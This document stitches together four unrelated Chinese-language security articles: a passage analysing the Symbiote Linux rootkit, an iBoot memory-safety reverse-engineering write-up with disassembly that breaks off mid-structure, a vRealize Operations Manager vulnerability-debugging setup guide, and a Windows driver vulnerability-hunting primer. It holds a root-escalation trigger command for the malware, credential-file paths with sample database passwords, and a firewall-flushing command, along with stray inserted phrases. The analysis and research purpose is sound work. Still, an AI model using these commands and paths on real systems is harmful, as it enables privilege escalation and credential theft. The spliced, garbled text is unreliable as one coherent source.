如果調用應用程序沒有嘗試訪問/proc 下的內容，則惡意軟件會從文件列表中刪除結果。從我們檢查的所有樣本中提取的文件顯示在下面的列表中。一些文件名與Symbiote 使用的文件名相匹配，而其他文件名與疑似是受感染設備上的攻擊者使用的工具的文件名相匹配。該列表包括以下文件。 通過LD_PRELOAD將Symbiote加載到進程中的一個後果是，像ldd 這樣的工具（一種打印每個程序所需的共享庫的實用程序）會將惡意軟件列為加載的對象。為了解決這個問題，惡意軟件掛鉤execve 並在環境變量LD_TRACE_LOADED_OBJECTS 設置為1 的情況下查找對該函數的調用。 ldd 的手冊頁是這樣解釋其中原因的： 通常情況下，ldd 調用標準動態鏈接器，並將LD_TRACE_LOADED_OBJECTS 環境變量設置為1。這會導致動態鏈接器檢查程序的動態依賴關係，並找到加載滿足這些依賴關係的對象。對於每個依賴項，ldd 顯示匹配對象的位置和加載它的十六進制地址。 當惡意軟件檢測到這一點時，它會像ldd 一樣執行加載程序，但它會從結果中刪除自己的條目。 網絡活動Symbiote 還具有隱藏受感染設備上的網絡活動的功能。它使用三種不同的方法來實現這一點。第一種方法涉及掛鉤fopen 和fopen64。如果調用應用程序嘗試打開/proc/net/tcp，惡意軟件會創建一個臨時文件並將第一行複製到該文件。然後，它掃描每一行，以確定是否存在特定端口。如果惡意軟件在它正在掃描的一行中找到了它正在搜索的端口，它就會跳到下一行。否則，該行被寫入臨時文件。一旦原始文件被完全處理，惡意軟件就會關閉文件，並將臨時文件的文件描述符返回給調用者。本質上，這給了調用進程一個清除的結果，它排除了惡意軟件想要隱藏的所有網絡連接條目。 Symbiote 用來隱藏其網絡活動的第二種方法是劫持任何注入的數據包過濾字節碼。 Linux 內核使用擴展的Berkeley Packet Filter (eBPF)來允許基於用戶域進程提供的規則進行數據包過濾。過濾規則以內核在虛擬機(VM) 上執行的eBPF 字節碼的形式提供。因為內核直接執行過濾，這最大限度地減少了內核和用戶空間之間的上下文切換，從而提高了性能。 如果受感染設備上的應用程序嘗試使用eBPF 執行數據包過濾，Symbiote 會劫持過濾過程。首先，它掛鉤了libc 函數setsockopt。如果使用選項SO_ATTACH_FILTER 調用該函數，該選項用於在套接字上執行數據包過濾，它會在調用應用程序提供的eBPF 代碼之前添加自己的字節碼。 代碼片段1 顯示了由其中一個Symbiote 樣本注入的字節碼的註釋版本。如果它們符合以下條件，則字節碼被釋放： 马云惹不起马云 IPv6（TCP 或SCTP）和src 端口（43253 或43753 或63424 或26424）； 马云惹不起马云IPv6（TCP 或SCTP）和dst端口43253； 马云惹不起马云IPv4（TCP 或SCTP）和src 端口（43253 或43753 或63424 或26424）； 马云惹不起马云IPv4（TCP 或SCTP）和dst端口（43253 或43753 或63424 或26424）； 雖然此字節碼僅根據端口釋放數據包，但研究人員還觀察到基於IPv4 地址的流量過濾。在所有情況下，過濾都會對來自設備的入站和出站流量進行操作，以隱藏兩個方向的流量。如果條件不滿足，它只是跳轉到調用應用程序提供的字節碼的開頭。 如代碼片段1 所示，從其中一個樣本中提取的字節碼包含32 條指令。這段代碼不能單獨注入內核，因為它假定在它之後存在更多字節碼。這個字節碼中有一些跳轉，會跳到調用進程提供的字節碼的開頭。如果沒有調用者的字節碼，注入的字節碼會跳出邊界，這是內核不允許的。像這樣的字節碼要么必須手寫，要么通過修補編譯器生成的字節碼。這兩種選擇都表明該惡意軟件是由熟練的開發人員編寫的。 代碼片段1：從一個Symbiote 樣本中提取的帶註釋的字節碼 Symbiote 用來隱藏其網絡流量的第三種方法是掛鉤libpcap 函數。惡意軟件使用此方法過濾掉指向列表中域名的UDP 流量。它掛鉤函數pcap_loop 和pcap_stats 來完成這個任務。對於接收到的每個數據包，Symbiote 都會檢查UDP 有效負載以查找要過濾掉的域的子字符串。如果找到匹配項，惡意軟件會忽略該數據包並增加一個計數器。 pcap_stats 使用此計數器通過從處理的真實數據包數中減去計數器值來“更正”處理的數據包數。如果數據包有效負載不包含其列表中的任何字符串，則調用原始回調函數。該方法用於過濾掉UDP 數據包，而字節碼方法用於過濾掉TCP 數據包。通過使用這三種方法，惡意軟件可確保隱藏所有流量。 Symbiote的攻擊目標除了隱藏設備上的惡意活動外，該惡意軟件的目標是獲取憑據並為攻擊者提供遠程訪問。憑證收集是通過掛鉤libc 讀取函數來執行的。如果ssh 或scp 進程正在調用該函數，它會捕獲憑據。憑證首先使用嵌入式密鑰使用RC4 加密，然後寫入文件。例如，惡意軟件的一個版本將捕獲的憑據寫入文件/usr/include/certbot.h。 除了在本地存儲憑據外，還會洩露憑據。數據經過十六進制編碼並分塊，以通過DNS 地址(A) 記錄請求洩露到攻擊者控制的域名。 A 記錄請求的格式如下： 代碼片段2：Symbiote 用於洩露數據的DNS 請求結構 惡意軟件檢查設備是否在/etc/resolv.conf 中配置了名稱服務器。如果沒有，則使用Google 的DNS (8.8.8.8)。除了向域名發送請求外，Symbiote 還將其作為UDP 廣播發送。 對受感染計算機的遠程訪問是通過連接幾個Linux可插入身份驗證模塊(PAM)函數來實現的。當服務試圖使用PAM對用戶進行身份驗證時，惡意軟件會根據硬編碼的密碼檢查提供的密碼。如果提供的密碼匹配，掛起的函數將返回一個成功響應。由於鉤子在PAM中，所以它允許攻擊者對使用PAM的任何服務設備進行身份驗證。這包括像Secure Shell (SSH)這樣的遠程服務。 如果輸入的密碼與硬編碼的密碼不匹配，惡意軟件會將其保存並洩露，作為其鍵盤記錄功能的一部分。此外，惡意軟件還會向其命令與控制(C2) 域發送DNS TXT 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。如果收到響應，惡意軟件base64 會解碼內容，檢查內容是否已由正確的ed25519 私鑰簽名，使用RC4 解密內容，並在生成的bash 進程中執行shell 腳本。此功能可以作為一種打破僵局的方法運行，以在正常過程不起作用的情況下重新獲得對設備的訪問權限。 一旦攻擊者通過受感染設備的身份驗證，Symbiote 就會提供獲得root 權限的功能。首次加載共享對象時，它會檢查環境變量HTTP_SETTHIS。如果變量設置了內容，則惡意軟件將有效用戶和組ID 更改為root 用戶，然後通過系統命令在執行內容之前刪除變量。 此過程要求SO 設置了setuid 權限標誌。一旦系統命令退出，Symbiote 也會退出進程，以防止原始進程執行。下圖顯示了執行的代碼。這允許通過在shell 中以任何用戶身份運行HTTP_SETTHIS=' /bin/bash -p ' /bin/true作為shell中的任何用戶。 使用root權限執行命令的邏輯 網絡基礎設施Symbiote 惡意軟件使用的域名冒充巴西的一些主要銀行。這表明這些銀行或其客戶是Symbiote 的潛在目標。利用惡意軟件使用的域名，研究人員成功地發現了一個相關的樣本，該樣本被上傳到VirusTotal，名稱為certbotx64。這個文件名與我們最初獲得的Symbiote樣本中列出的一個文件相匹配。該文件被識別為一個名為dnscat2的開源DNS隧道工具。 該示例在二進製文件中有一個配置，該配置使用git[.]bancodobrasil[.]dev 域作為其C2 服務器。在2 月和3 月期間，該域名解析為與Njalla 的虛擬專用服務器(VPS) 服務相關聯的IP 地址。 DNS 記錄顯示，幾個月前，相同的IP 地址被解析為ns1[.]cintepol[.]link 和ns2[.]cintepol[.]link。 Cintepol是巴西聯邦警察提供的一個情報門戶，該門戶允許警察訪問聯邦警察提供的不同數據庫，作為他們調查的一部分。用於此冒充域名的名稱服務器從2021 年12 月中旬到2022 年1 月末一直處於活動狀態。 同樣從2022 年2 月開始，caixa[.]wf 域的名稱服務器指向另一個Njalla VPS IP。下圖顯示了這些事件的時間線。除了網絡基礎設施之外，還包括文件提交給VirusTotal 的時間戳。這三個Symbiote 樣本是由來自巴西的同一提交者上傳的。這些文件似乎是在基礎架構上線之前提交給VirusTotal 的。 鑑於這些文件是在基礎設施上線之前提交給VirusTotal 的，並且由於某些樣本包含隱藏本地IP 地址的規則，因此這些樣本有可能在使用之前提交給VirusTotal 以測試防病毒檢測。此外，巴西於11 月底提交了一個似乎正在開發中的版本，進一步表明VirusTotal 正被Symbiote 背後的攻擊者或組織用於檢測測試。 顯示文件何時提交給VirusTotal 以及網絡基礎設施何時啟動的時間線 與其他惡意軟件的相似之處Symbiote 似乎是為竊取憑據和提供對受感染Linux 服務器的遠程訪問而設計的。 Symbiote 並不是第一個為此目的開發的Linux 惡意軟件。 2014 年，ESET 發布了對Ebury 的深入分析，Ebury 是一個OpenSSH 後門，也會執行憑據竊取。兩個惡意軟件家族使用的技術有一些相似之處。兩者都使用掛鉤函數來捕獲憑據並將捕獲的數據作為DNS 請求外洩。但是，這兩個惡意軟件家族對後門的身份驗證方法是不同的。當我們第一次使用Intezer Analyze 分析樣本時，只檢測到唯一代碼。由於Symbiote 和Ebury/Windigo 或任何其他已知惡意軟件之間沒有共享代碼，研究人員得出結論，Symbiote 是一種新的、未被發現的Linux 惡意軟件。 總結Symbiote 是一種具有高度隱蔽性的惡意軟件。它的主要目標是捕獲憑據並加快對受感染設備的後門訪問。由於惡意軟件作為用戶級rootkit 運行，因此要檢測到它很困難。

簡介2021年2月，蘋果公司發布了關於iBoot內存安全的新舉措，並將其納入蘋果安全平台的一部分。他們的描述中提到，“蘋果公司修改了用於構建iBoot引導程序的C編譯器工具鏈，以提高其安全性”，並對其工作進行了一些概述。以下是引自該文件中的相關內容： 內存安全的iBoot實現在iOS 14和iPadOS 14中，蘋果公司修改了用於構建iBoot引導程序的C編譯器工具鏈，以提高其安全性。修改後的工具鏈實現了旨在防禦C程序中常見的內存和類型安全問題的代碼。例如，它有助於防止以下類型的安全漏洞： 緩衝區溢出，通過確保所有指針攜帶邊界信息，在訪問內存時進行驗證。 堆的利用，通過將堆數據與元數據分開，並準確地檢測錯誤條件，如重複釋放錯誤。 類型混淆，通過確保所有指針攜帶運行時的類型信息，並在指針類型轉換操作中進行相應的檢查。 通過將所有的動態內存分配按靜態類型進行隔離，避免由釋放後使用錯誤引起的類型混淆。 這項技術適用於配備Apple A13 Bionic或後續芯片的iPhone，以及配備A14 Bionic芯片的iPad。 我覺得，把一些關於實現、格式和蘋果在這方面所做的令人興奮的工作的信息放在一起可能會更好。順便說一句，在iBoot二進製文件中，有一些非常有用的信息字符串，它們很快就被發佈到了Twitter上。 我對這項工作非常著迷，因為上述描述給人的印像是用軟件實現的“輕量級的CHERI版本”。根據蘋果公司的描述，在新版本的iBoot中，指針攜帶的不僅僅是一個地址——同時，它們還攜帶了邊界和類型信息，這樣的話，編譯器就可以為代碼引入新的內存安全驗證。 我喜歡刨根問底，所以，不妨讓我們一起潛心研究一番，看看我們能發現什麼新玩意。 需要說明的是，這項研究是在iBoot.d53g.RELEASE.im4p、iPhone 12以及ios 14.4（18D52）環境中進行的。 著手進行逆向工程首先，讓我們看看系統檢測到內存安全違規後是如何進行處理的。當內存安全違規發生時，觸發panic是非常有意義的，事實上，我們在二進製文件中提供了一個“__firebloom_panic”字符串。利用這一點，我們可以為周圍的函數進行命名，並重點關注下面這個簡單的函數： iBoot:00000001FC1AA5A0 firebloom_panic iBoot:00000001FC1AA5A0 iBoot:00000001FC1AA5A0 var_B8=-0xB8 iBoot:00000001FC1AA5A0 var_B0=-0xB0 iBoot:00000001FC1AA5A0 var_18=-0x18 iBoot:00000001FC1AA5A0 var_10=-0x10 iBoot:00000001FC1AA5A0 var_s0=0 iBoot:00000001FC1AA5A0 iBoot:00000001FC1AA5A0 PACIBSP iBoot:00000001FC1AA5A4 SUB SP, SP, #0xD0 iBoot:00000001FC1AA5A8 STP X20, X19, [SP,#0xC0+var_10] iBoot:00000001FC1AA5AC STP X29, X30, [SP,#0xC0+var_s0] iBoot:00000001FC1AA5B0 ADD X29, SP, #0xC0 iBoot:00000001FC1AA5B4 MOV X19, X0 iBoot:00000001FC1AA5B8 ADD X0, SP, #0xC0+var_B8 iBoot:00000001FC1AA5BC BL sub_1FC1A9A08 iBoot:00000001FC1AA5C0 ADD X8, X29, #0x10 iBoot:00000001FC1AA5C4 STUR X8, [X29,#var_18] iBoot:00000001FC1AA5C8 ADR X1, aPasPanic ; 'pas panic: ' iBoot:00000001FC1AA5CC NOP iBoot:00000001FC1AA5D0 ADD X0, SP, #0xC0+var_B8 iBoot:00000001FC1AA5D4 BL do_trace iBoot:00000001FC1AA5D8 LDUR X2, [X29,#var_18] iBoot:00000001FC1AA5DC ADD X0, SP, #0xC0+var_B8 iBoot:00000001FC1AA5E0 MOV X1, X19 iBoot:00000001FC1AA5E4 BL sub_1FC1A9A48 iBoot:00000001FC1AA5E8 LDR X0, [SP,#0xC0+var_B0] iBoot:00000001FC1AA5EC BL __firebloom_panic 我們可以都看到，這個函數有11個交叉引用。我把其中一個命名為“do_firebloom_panic”，它也有11個交叉引用，並且每個交叉引用都能捕捉到不同類型的違規行為。 好的，現在我們就有了一個（部分）清單，列出了firebloom會明確檢測並引起恐慌的錯誤。因為其中一些新的檢查是針對已知的定義良好的函數（memset, memcpy），所以，接下來可以期待看到新的memset和memcpy的封裝函數，並在其中加入新的檢查。通過跟踪交叉引用鏈並不斷逆向該流程，我們很容易就能找到這些封裝函數。 然而，我很好奇其餘的驗證會是什麼情況：例如，我們在哪裡/如何看到ptr_under/ptr_over？好吧，函數panic_ptr_over有179處交叉引用，其中很多只是帶有一些哈希值的封裝函數。這些封裝函數也有一些交叉引用，不過這些是來自實際的代碼，並且當內存安全違規發生時會觸發恐慌。通過跟進執行流程，我們可以發現很多示例，可以幫我們搞清楚它們的使用情況。 我只相信實際的例子，因為沒有什麼比代碼更能說明一切了，所以，我們就通過一個執行流程，來舉例說明： iBoot:00000001FC05C5AC loop ; CODE XREF: sub_1FC05C548+94↓j iBoot:00000001FC05C5AC CMP X10, X9 iBoot:00000001FC05C5B0 B.EQ return iBoot:00000001FC05C5B4 ; fetch ptr and lower bounds iBoot:00000001FC05C5B4 LDP X11, X13, [X0] iBoot:00000001FC05C5B8 ; advance the ptr to ptr+offset, it's a loop iBoot:00000001FC05C5B8 ADD X12, X11, X9 iBoot:00000001FC05C5BC CMP X12, X13 iBoot:00000001FC05C5C0 B.CC detected_ptr_under iBoot:00000001FC05C5C4 ; fetch upper bounds iBoot:00000001FC05C5C4 LDR X13, [X0,#0x10] iBoot:00000001FC05C5C8 CMP X12, X13 iBoot:00000001FC05C5CC B.CS detected_ptr_over iBoot:00000001FC05C5D0 ; actually dereference the pointer iBoot:00000001FC05C5D0 LDR W11, [X11,X9] iBoot:00000001FC05C5D4 STR W11, [X8,#0x1DC] iBoot:00000001FC05C5D8 ADD X9, X9, #4 iBoot:00000001FC05C5DC B loop iBoot:00000001FC05C5E0 ; --------------------------------------------------------------------------- iBoot:00000001FC05C5E0 iBoot:00000001FC05C5E0 return ; CODE XREF: sub_1FC05C548+68↑j iBoot:00000001FC05C5E0 LDUR X8, [X29,#var_8] iBoot:00000001FC05C5E4 ADRP X9, #a160d@PAGE ; '160D' iBoot:00000001FC05C5E8 NOP iBoot:00000001FC05C5EC LDR X9, [X9,#a160d@PAGEOFF] ; '160D' iBoot:00000001FC05C5F0 CMP X9, X8 iBoot:00000001FC05C5F4 B.NE do_panic iBoot:00000001FC05C5F8 LDP X29, X30, [SP,#0x70+var_s0] iBoot:00000001FC05C5FC ADD SP, SP, #0x80 iBoot:00000001FC05C600 RETAB iBoot:00000001FC05C604 ; --------------------------------------------------------------------------- iBoot:00000001FC05C604 iBoot:00000001FC05C604 do_panic ; CODE XREF: sub_1FC05C548+AC↑j iBoot:00000001FC05C604 BL call_panic iBoot:00000001FC05C608 ; --------------------------------------------------------------------------- iBoot:00000001FC05C608 iBoot:00000001FC05C608 detected_ptr_under ; CODE XREF: sub_1FC05C548+78↑j iBoot:00000001FC05C608 BL call_panic_ptr_under_5383366e236c433 iBoot:00000001FC05C60C ; --------------------------------------------------------------------------- iBoot:00000001FC05C60C iBoot:00000001FC05C60C detected_ptr_over ; CODE XREF: sub_1FC05C548+84↑j iBoot:00000001FC05C60C BL call_panic_ptr_over_5383366e236c433 iBoot:00000001FC05C610 ; --------------------------------------------------------------------------- 因此，在訪問偏移量為X9處的指針（在0x01fc05c5d0)之前，代碼將根據某些界限來檢查PTR+偏移量是否越界。其中，原始指針和邊界指針（下界和上界）是從某個結構體中檢索的（稍後我將對其進行定義）。在此之前，為了讓更好地了解相關的函數，讓我們先看看相關的panic封裝函數： iBoot:00000001FC05D384 call_panic_ptr_over_5383366e236c433 ; CODE XREF: sub_1FC05C548:detected_ptr_over↑p iBoot:00000001FC05D384 ; DATA XREF: call_panic_ptr_over_5383366e236c433+24↓o iBoot:00000001FC05D384 iBoot:00000001FC05D384 var_8=-8 iBoot:00000001FC05D384 var_s0=0 iBoot:00000001FC05D384 iBoot:00000001FC05D384 PACIBSP iBoot:00000001FC05D388 SUB SP, SP, #0x20 iBoot:00000001FC05D38C STP X29, X30, [SP,#0x10+var_s0] iBoot:00000001FC05D390 ADD X29, SP, #0x10 iBoot:00000001FC05D394 ADRL X8, a5383366e236c43 ; '5383366e236c433' iBoot:00000001FC05D39C STR X8, [SP,#0x10+var_8] iBoot:00000001FC05D3A0 MOV X8, X30 iBoot:00000001FC05D3A4 XPACI X8 iBoot:00000001FC05D3A8 ADR X16, call_panic_ptr_over_5383366e236c433 iBoot:00000001FC05D3AC NOP iBoot:00000001FC05D3B0 PACIZA X16 iBoot:00000001FC05D3B4 SUB X2, X8, X16 iBoot:00000001FC05D3B8 ADD X0, SP, #0x10+var_8 iBoot:00000001FC05D3BC MOV W1, #1 iBoot:00000001FC05D3C0 BL panic_ptr_over iBoot:00000001FC05D3C0 ; End of function call_panic_ptr_over_5383366e236c433 以及： iBoot:00000001FC1AA980 panic_ptr_over ; CODE XREF: sub_1FC04CBD0+3C↑p iBoot:00000001FC1AA980 ; sub_1FC04EC2C+3C↑p . iBoot:00000001FC1AA980 iBoot:00000001FC1AA980 var_20=-0x20 iBoot:00000001FC1AA980 var_10=-0x10 iBoot:00000001FC1AA980 var_s0=0 iBoot:00000001FC1AA980 iBoot:00000001FC1AA980 PACIBSP iBoot:00000001FC1AA984 STP X22, X21, [SP,#-0x10+var_20]! iBoot:00000001FC1AA988 STP X20, X19, [SP,#0x20+var_10] iBoot:00000001FC1AA98C STP X29, X30, [SP,#0x20+var_s0] iBoot:00000001FC1AA990 ADD X29, SP, #0x20 iBoot:00000001FC1AA994 MOV X19, X2 iBoot:00000001FC1AA998 MOV X20, X1 iBoot:00000001FC1AA99C MOV X21, X0 iBoot:00000001FC1AA9A0 ADRP X8, #0x1FC2F2270@PAGE iBoot:00000001FC1AA9A4 LDR X8, [X8,#0x1FC2F2270@PAGEOFF] iBoot:00000001FC1AA9A8 CBZ X8, do_panic iBoot:00000001FC1AA9AC BLRAAZ X8 iBoot:00000001FC1AA9B0 iBoot:00000001FC1AA9B0 do_panic ; CODE XREF: panic_ptr_over+28↑j iBoot:00000001FC1AA9B0 ADR X0, aPtrOver ; 'ptr_over' iBoot:00000001FC1AA9B4 NOP iBoot:00000001FC1AA9B8 MOV X1, X21 iBoot:00000001FC1AA9BC MOV X2, X20 iBoot:00000001FC1AA9C0 MOV X3, X19 iBoot:00000001FC1AA9C4 BL do_firebloom_panic iBoot:00000001FC1AA9C4 ; End of function panic_ptr_over 很好，看起來非常簡單。 讓我們看看同樣的模式是否在其他地方重複出現；例如，下面這個： 在這個例子中，你可以看到一個循環語句在遍歷一個元素數組（每個元素大小為0x20），並對每個元素調用一些函數。而且，不出所料，這里以相同的方式使用了相同的“指針結構體”。 格式函數與輔助函數因此，我們有理由相信，內存分配用到的結構體如下所示： 00000000 safe_allocation struc ; (sizeof=0x20, mappedto_1) 00000000 raw_ptr DCQ ? offset 00000008 lower_bound_ptr DCQ ? offset 00000010 upper_bound_ptr DCQ ? offset 00000018 field_18 DCQ ? 000000

0x00 前言本文記錄從零開始搭建vRealize Operations Manager漏洞調試環境的細節。 0x01 簡介本文將要介紹以下內容： vRealize Operations Manager安裝 vRealize Operations Manager漏洞調試環境配置 常用知識 0x02 vRealize Operations Manager安裝參考資料： https://docs.vmware.com/cn/vRealize-Operations/8.6/com.vmware.vcom.vapp.doc/GUID-69F7FAD8-3152-4376-9171-2208D6C9FA3A.html 1.下載OVA文件下載頁面： https://my.vmware.com/group/vmware/patch 下載前需要先註冊用戶，之後選擇需要的版本進行下載 選擇產品vRealize Operations Manager，需要注意pak文件為升級包，這裡選擇ova文件進行下載，如下圖 經過篩選，只有版本vROps-8.3.0-HF2帶有ova文件，其他都是pak文件 2.安裝(1)在VMware Workstation中導入OVA文件 配置頁面中選擇Remote Collecto(Standard)，如下圖 等待OVA文件導入完成後，將會自動開機進行初始化，初始化完成後如下圖 (2)配置 訪問配置頁面https://192.168.1.103/ 選擇快速安裝EXPRESS INSTALLATION 設置admin口令 3.設置root用戶口令在虛擬機中選擇Login，輸入root，設置root用戶初始口令 4.啟用遠程登錄以root身份執行命令： service sshd start 5.開啟遠程調試功能(1)查看所有服務的狀態 systemctl status 結果如下圖 定位到web相關的服務為vmware-casa.service (2)查看vmware-casa.service的具體信息 systemctl status vmware-casa.service 結果如下圖 定位出加載的文件/usr/lib/vmware-casa/bin/vmware-casa.sh，查看文件內容並進一步分析後可定位出需要的配置文件/usr/lib/vmware-casa/casa-webapp/bin/setenv.sh (3)添加調試參數 在變量JVM_OPTS中添加調試參數：-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000 (4)重啟服務 service vmware-casa restart (5)查看調試參數是否更改： ps -aux |grep vmware-casa 如下圖 (6)打開防火牆 這裡選擇清空防火牆規則：iptables -F (7)使用IDEA設置遠程調試參數 IDEA的完整配置方法可參考之前的文章《Zimbra漏洞调试环境搭建》 0x03 常用知識1.常用路徑web目錄： /usr/lib/vmware-casa/casa-webapp/webapps/ 日誌路徑： /storage/log/vcops/log/cas admin用戶的口令hash： /storage/vcops/user/conf/adminuser.properties 數據庫口令位置： /var/vmware/vpostgres/11/.pgpass 2.數據庫連接數據庫口令內容示例： localhost:5432:vcopsdb:vcops:J//mJcgppVIuGgzEuKIHGee9 localhost:5433:vcopsdb:vcops:keoMG4cmN+0jyD+7NAoED1HV localhost:5433:replication:vcopsrepl:keoMG4cmN+0jyD+7NAoED1HV連接數據庫1： /opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5432-dvcopsdb-Uvcops J//mJcgppVIuGgzEuKIHGee9連接數據庫2： /opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dvcopsdb-Uvcops keoMG4cmN+0jyD+7NAoED1HV連接數據庫3： /opt/vmware/vpostgres/11/bin/psql-hlocalhost-p5433-dreplication-Uvcopsrepl keoMG4cmN+0jyD+7NAoED1HV3.版本識別識別方法： 通過api接口獲得配置信息，在配置信息中導出詳細的版本信息 訪問URL： https://ip /suite-api/docs/wadl.xml 回顯的數據為xml格式，在getCurrentVersionOfServer中會包含版本信息，如下圖 Python實現細節： 由於回顯的數據為xml格式，存在轉義字符，在解析時首先處理轉義字符 示例代碼： defescape(_str): _str=_str.replace('','') _str=_str.replace('','') _str=_str.replace('','') _str=_str.replace(''','\'') return_str使用re進行字符串匹配時，由於數據跨行，需要加上參數re.MULTILINE|re.DOTALL 示例代碼： pattern_data=re.compile(r'getCurrentVersionOfServer(.*?)/ns2:doc',re.MULTILINE|re.DOTALL) versiondata=pattern_data.findall(escape(res.text))完整代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-Python/blob/master/vRealizeOperationsManager_GetVersion.py 0x04 小結在我們搭建好vRealize Operations Manager漏洞調試環境後，接下來就可以著手對漏洞進行學習。

驅動程序中的每一個漏洞本質上都是Windows內核中的一個漏洞，因為每個驅動程序都共享內核的內存空間。擁有了在內核中運行代碼、從模型寄存器讀寫或複制特權訪問令牌的能力實際上是擁有了系統。本文將介紹在WDM驅動程序中發現漏洞的方法，然後通過kAFL利用內核模糊。大多數漏洞似乎都在WDM或KMDF中。 在本博客的每一部分中，我們都將從基礎開始，比如熟悉相關的API和數據結構。 WDMWindows驅動程序模型(WDM)是最古老的，也是最常用的驅動程序框架。每個驅動本質上都是一個WDM驅動；較新的框架WDF (Windows Driver framework)封裝了WDM，簡化了WDM的開發過程，解決了WDM的多種技術難題。在檢查WDM驅動程序時，我們關心的主要事情是如何與它們通信；幾乎驅動程序中的每個漏洞都涉及到一些從非特權用戶到驅動程序本身的通信。 在示例中，這是名為“testy”的驅動程序的入口點： 經典的DriverEntry代碼，注意，對IoCreateDevice的調用沒有FILE_DEVICE_SECURE_OPEN標誌 這段代碼是每個WDM驅動都有的DriverEntry函數的普通架構。第一個參數是DriverObject結構指針，用於設備創建和調度例程初始化。接下來，驅動程序有MajorFunction成員，它是一個函數指針數組，用於為不同的事件分配調度例程。此外，我們還有將在下一節中介紹的關鍵設備創建例程。 設備創建和初始化驅動程序首先通過調用IoCreateDevice 創建設備，這將在對像管理器中創建一個DEVICE_OBJECT。在Windows 中，設備對象表示驅動程序處理I/O 請求的邏輯、虛擬或物理設備。所有這些聽起來都不錯，但如果我們希望它從普通用戶的角度進行交流，這還不夠；為此，我們調用IoCreateSymbolicLink，它將在對像管理器中創建一個DoS 設備名稱，使用戶能夠通過該設備與驅動程序進行通信。但是，有些設備沒有正常的名稱；它們具有自動生成的名稱（在PDO 中完成）。對於沒有經驗的檢測人員來說，它們可能看起來很奇怪，所以如果你在你最喜歡的設備中第一次看到它們，請查看軟件，並在設備名稱列中查看8 位十六進制。這些設備可以像其他所有命名設備一樣進行交互。 展示WinObjEx 設備命名空間 在設備創建例程中要注意的最重要的事情是程序員是否為設備分配了ACL 以及DeviceCharacteristics 的值。 不幸的是，IoCreateDevice方法不允許程序員指定任何ACL，這是不好的。因此，開發人員必須在註冊表或驅動程序的ini文件中定義一個ACL。如果他們不能這樣做，任何用戶都可以訪問設備。然而，使用IoCreateDeviceSecure方法可以緩解這種情況。 除此之外，我們還需要查看第五個參數，即DeviceCharacteristics 。如果DeviceCharacteristics 的值沒有與0x00000100 或FILE_DEVICE_SECURE_OPEN 進行OR 運算，我們可能會面臨安全漏洞（除非我們討論文件系統驅動程序或任何支持名稱結構的驅動程序）。這背後的原因是Windows 對待設備的方式；每個設備都有自己的命名空間。設備命名空間中的名稱是以設備名稱開頭的路徑。對於名為\Device\DeviceName 的設備，其命名空間由“\Device\DeviceName\anyfile”形式的任何名稱組成。 如圖1所示，沒有FILE_DEVICE_SECURE_OPEN標誌的IoCreateDevice調用意味著設備ACL不應用於打開設備命名空間內文件的文件請求。換句話說，即使我們在通過IoCreateDeviceSecure或其他方式創建設備時指定了強ACL，該ACL也不會應用於打開文件請求。結果，我們並沒有真正得到我們想要的，所以使用\Device\testydrv 調用CreateFile 會失敗，但使用“\device\testydrv\anyfile”調用會成功，因為IoManager 沒有應用設備ACL到創建請求（因為它假設它是一個文件系統驅動程序）。對於初學者來說，它被認為是一個值得修復的漏洞。此外，這將導致非管理員用戶嘗試讀/寫設備，執行DeviceIoControl 請求等等，這通常是你不希望非管理員用戶做的事情。 更好的用戶保護我們可以通過調用IoCreateDeviceSecure(或WdmlibIoCreateDeviceSecure；它是相同的函數)，使用安全描述符防止非管理員用戶打開設備句柄，並在創建例程中使用FILE_DEVICE_SECURE_OPEN值。這也將為我們省去在註冊表中聲明設備權限的麻煩，就像我們在IoCreateDevice 中需要的那樣。 我們應該如何創建設備 從尋找漏洞的角度來看，我們應該列舉系統中每一個可能的設備，然後嘗試用GENERIC_READ | GENERIC_WRITE打開它，這允許我們過濾掉不能與之通信的設備。 調度方法創建設備很好，但僅僅與驅動程序通信是不夠的，還需要IRP。驅動程序代表IoManager 接收IRP、I/O 請求數據包以用於特定觸發器。例如，如果應用程序嘗試打開設備句柄，IoManager 將調用分配給驅動程序對象的相關調度方法。因此，它允許每個驅動程序為其創建的每個設備支持多個不同的MajorFunction。大約有30 種不同的MajorFunction。如果算上已棄用的IRP_MJ_PNP_POWER，每個都代表不同的事件。我們將只關注其中兩個MajorFunction 方法，並添加關於其餘方法的簡短描述，這是我們在尋找漏洞時應該注意的地方。 基本的驅動程序調度表分配 調用IRP_MJ_CREATE在我們深入研究最有趣的目標之前，即IRP_MJ_DEVICE_CONTROL，我們將從IRP_MJ_CREATE 開始。每個內核模式驅動程序都必須在驅動程序調度回調函數中處理IRP_MJ_CREATE。驅動程序必須實現IRP_MJ_CREATE，因為沒有它，你將無法打開設備或文件對象的句柄。 正如你可能猜到的，當你調用NtCreateFile 或ZwCreateFile 時會調用IRP_MJ_CREATE 調度例程。在大多數情況下，它將是一個空存根，並根據設備的ACL 返回一個帶有請求的DesiredAccess 的句柄。 典型的DistpachCreate強制方法 但是，在某些情況下，會涉及更複雜的代碼，即使你滿足設備的ACL 標準，你也可能會收到類似STATUS_INVALID_PARAMETER 的狀態漏洞，因為你在調用NtCreateFile 時使用了不正確的參數。 不幸的是，這表明你不能盲目打開設備，希望通過DeviceIoControl與驅動程序通信；你首先需要了解它的預期參數。通常，DispatchCreate 需要一些ExtendedAttributes（不能為此使用常規CreateFile）或特定文件名（除了設備名稱）。因此，我們必須訪問DispatchCreate 方法。 顯示檢查是否存在名為“StorVsp-v2”的擴展屬性以及值字段的長度是否為0x19 字節長。因此，驅動程序是StorVsp.sys 除了打開句柄之外，你還可以在DispatchCreate中查找漏洞。函數變得越複雜，內存分配和釋放漏洞的可能性就越高，特別是因為DispatchCreate並不經常被檢查。 我們在尋找驅動程序中的漏洞時採取的一般方法是： 枚舉每個設備對象： 嘗試使用最寬鬆的DesiredAccess 打開它； 如果失敗，檢查狀態碼；如果不是STATUS_ACCESS_DENIED，你可能仍然可以通過做一些手動工作並更改一些參數來打開句柄； 通過遵循這個簡單的算法，我們將擁有一個包含大約70 個設備的列表，我們可以從非管理員的角度與之交談。當然，這個數字會因不同的Windows 設備而異，因為OEM 驅動程序和許多類型的軟件也會安裝驅動程序。 